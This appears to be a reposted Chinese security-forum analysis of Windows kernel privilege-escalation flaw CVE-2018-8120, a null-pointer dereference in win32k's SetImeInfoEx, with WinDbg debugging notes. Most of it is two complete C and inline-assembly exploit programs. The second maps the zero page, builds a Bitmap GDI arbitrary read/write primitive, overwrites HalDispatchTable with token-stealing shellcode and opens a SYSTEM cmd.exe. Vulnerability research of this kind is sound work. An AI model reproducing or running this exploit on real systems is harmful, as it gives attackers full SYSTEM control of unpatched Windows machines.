[分享]Windows内核提权漏洞CVE-2018-8120分析
2022-12-12 12:4:16 Author: bbs.pediy.com(查看原文) 阅读量:12 收藏

参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
图片描述
图片描述
图片描述
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
图片描述
spklList对象的结构为
图片描述
漏洞触发验证

查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示
图片描述
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter
图片描述

windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
图片描述
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
图片描述
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
图片描述

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

DWORD gSyscalIndex = 0x1226;

_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {

    _asm {

        mov esi, argv1;

        mov eax, gSyscalIndex; //系统调用服务号

        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系统调用

        call DWORD ptr[edx];

        ret 4;

    }

}

typedef NTSTATUS

(WINAPI* My_NtAllocateVirtualMemory)(

    IN HANDLE ProcessHandle,

    IN OUT PVOID* BaseAddress,

    IN ULONG ZeroBits,

    IN OUT PULONG RegionSize,

    IN ULONG AllocationType,

    IN ULONG Protect

    );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

int main() {

    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);

    SetProcessWindowStation(hSta);

    char ime[0x800];

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(

        GetModuleHandleW(L"ntdll"),

        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)

    {

        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");

        system("pause");

        return;

    }

    PVOID Zero_addr = (PVOID)0x100;

    SIZE_T RegionSize = 0x1000;

    printf("[+]Started to alloc zero page...\n");

    if (!NT_SUCCESS(NtAllocateVirtualMemory(

        INVALID_HANDLE_VALUE,

        &Zero_addr,

        0,

        &RegionSize,

        MEM_COMMIT | MEM_RESERVE,

        PAGE_READWRITE)) || Zero_addr != NULL)

    {

        printf("[+]Failed to alloc zero page!\n");

        system("pause");

        return;

    }

    printf("[+]Success to alloc zero page...\n");

    printf("申请到的地址是 0x%p\n", Zero_addr);

    PBYTE pt = (PBYTE)Zero_addr;

    *(PDWORD)(pt + 0x14) = (DWORD)0x12345678;

    *(PDWORD)(ime) = (DWORD)0x12345678;

    *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc;    //HalDispatchTable+0x4

    NtUserSetImeInfoEx((PVOID)&ime);

    return 0;

}

上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。

Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667

CreateBitMap创建的结构SURFACE OBJECT
图片描述
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:

在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)
(2) 使用CreateBitMap返回的handle获取pvScan0的地址
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
图片描述

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(

    IN ULONG ProfileSource,

    OUT PULONG Interval

    );

typedef NTSTATUS

(WINAPI* My_NtAllocateVirtualMemory)(

    IN HANDLE ProcessHandle,

    IN OUT PVOID* BaseAddress,

    IN ULONG ZeroBits,

    IN OUT PULONG RegionSize,

    IN ULONG AllocationType,

    IN ULONG Protect

    );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

//申请0页内存

void getZeroMemory() {

    PVOID    Zero_addr = (PVOID)1;

    SIZE_T    RegionSize = 0x1000;

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(

        GetModuleHandleW(L"ntdll"),

        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)

    {

        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");

        system("pause");

    }

    if (!NT_SUCCESS(NtAllocateVirtualMemory(

        INVALID_HANDLE_VALUE,

        &Zero_addr,

        0,

        &RegionSize,

        MEM_COMMIT | MEM_RESERVE,

        PAGE_READWRITE)) || Zero_addr != NULL)

    {

        printf("[+]Failed to alloc zero page!\n");

        system("pause");

    }

    printf("[+]Success to alloc zero page...\n");

}

__declspec(naked) VOID ShellCode()

{

    _asm

    {

        pushad

        mov eax, fs: [124h]        // 找到当前线程的_KTHREAD结构

        mov eax, [eax + 0x50]   // 找到_EPROCESS结构

        mov ecx, eax

        mov edx, 4                // edx = system PID(4)

        // 循环是为了获取system的_EPROCESS

        find_sys_pid :

        mov eax, [eax + 0xb8]    // 找到进程活动链表

        sub eax, 0xb8            // 链表遍历

        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM

        jnz find_sys_pid

        // 替换Token

        mov edx, [eax + 0xf8]

        mov[ecx + 0xf8], edx

        popad

        xor eax, eax

        ret

    }

}

static VOID CreateCmd()

{

    STARTUPINFO si = { sizeof(si) };

    PROCESS_INFORMATION pi = { 0 };

    si.dwFlags = STARTF_USESHOWWINDOW;

    si.wShowWindow = SW_SHOW;

    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };

    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);

    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}

//获取ntkrnlpa.exe 在 kernel mode 中的基地址

LPVOID NtkrnlpaBase()

{

    LPVOID lpImageBase[1024];

    DWORD lpcbNeeded;

    CHAR lpfileName[1024];

    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)

    {

        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))

        {

            printf("[+]success to get %s\n", lpfileName);

            return lpImageBase[i];

        }

    }

    return NULL;

}

DWORD32 GetHalOffset_4()

{

    // 获取ntkrnlpa.exe运行时基址

    PVOID pNtkrnlpaBase = NtkrnlpaBase();

    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    // 获取用户态加载ntkrnlpa.exe的地址

    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

    // 获取用户态中HalDispatchTable的地址

    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

    // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量

    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

    return (DWORD32)hal_4;

}

//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。

//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。

DWORD gSyscall = 0x1226;

__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)

{

    _asm

    {

        mov esi, tmp;

        mov eax, gSyscall; //系统调用符号

        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用

        call dword ptr[edx];

        ret 4;

    }

}

DWORD getpeb()

{

    //在NT内核中,FS段为TEB,TEB偏移0x30处为PEB

    DWORD p = (DWORD)__readfsdword(0x18);

    p = *(DWORD*)((char*)p + 0x30);

    return p;

}

DWORD gTableOffset = 0x094;

DWORD getgdi()

{

    return *(DWORD*)(getpeb() + gTableOffset);

}

DWORD gtable;

typedef struct

{

    LPVOID pKernelAddress;

    USHORT wProcessId;

    USHORT wCount;

    USHORT wUpper;

    USHORT wType;

    LPVOID pUserAddress;

} GDICELL;

PVOID getpvscan0(HANDLE h)

{

    if (!gtable)

        gtable = getgdi();

    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;

    GDICELL* c = (GDICELL*)p;

    return (char*)c->pKernelAddress + 0x30;

}

int main()

{

    //1. 创建bitmap对象

    unsigned int bbuf[0x60] = { 0x90 };

    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);

    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);

    //2. 使用句柄查找GDICELL,计算pvScan0地址

    PVOID mpv = getpvscan0(gManger);

    PVOID wpv = getpvscan0(gWorker);

    printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);

    //使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值

    // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零

    HWINSTA hSta = CreateWindowStation(

        0,              //LPCSTR                lpwinsta

        0,              //DWORD                 dwFlags

        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess

        0               //LPSECURITY_ATTRIBUTES lpsa

    );

    // 和窗口当前进程关联起来

    SetProcessWindowStation(hSta);

    char buf[0x200];

    RtlSecureZeroMemory(&buf, 0x200);

    PVOID* p = (PVOID*)&buf;

    p[0] = (PVOID)wpv;

    DWORD* pp = (DWORD*)&p[1];

    pp[0] = 0x180;

    pp[1] = 0x1d95;

    pp[2] = 6;

    pp[3] = 0x10000;

    pp[5] = 0x4800200;

    //获取0页内存

    getZeroMemory();

    *(DWORD*)(0x2C) = (DWORD)(mpv);

    *(DWORD*)(0x14) = (DWORD)(wpv);

    // WindowStation->spklList字段为0,函数继续执行将触发漏洞

    NtUserSetImeInfoEx((PVOID)&buf);

    PVOID pOrg = 0;

    DWORD haladdr = GetHalOffset_4();

    PVOID oaddr = (PVOID)haladdr;

    PVOID sc = &ShellCode;

    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数

    printf("[+]要覆盖的目标地址 0x%x\n", oaddr);

    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址

    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode

    printf("[+]覆盖完毕,准备执行Shellcode");

    //触发shellcode

    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");

    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);

    DWORD interVal = 0;

    NtQueryIntervalProfile(0x1337, &interVal);

    //收尾

    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);

    CreateCmd();

    return 0;

}


文章来源: https://bbs.pediy.com/thread-275497.htm
如有侵权请联系:admin#unsafe.sh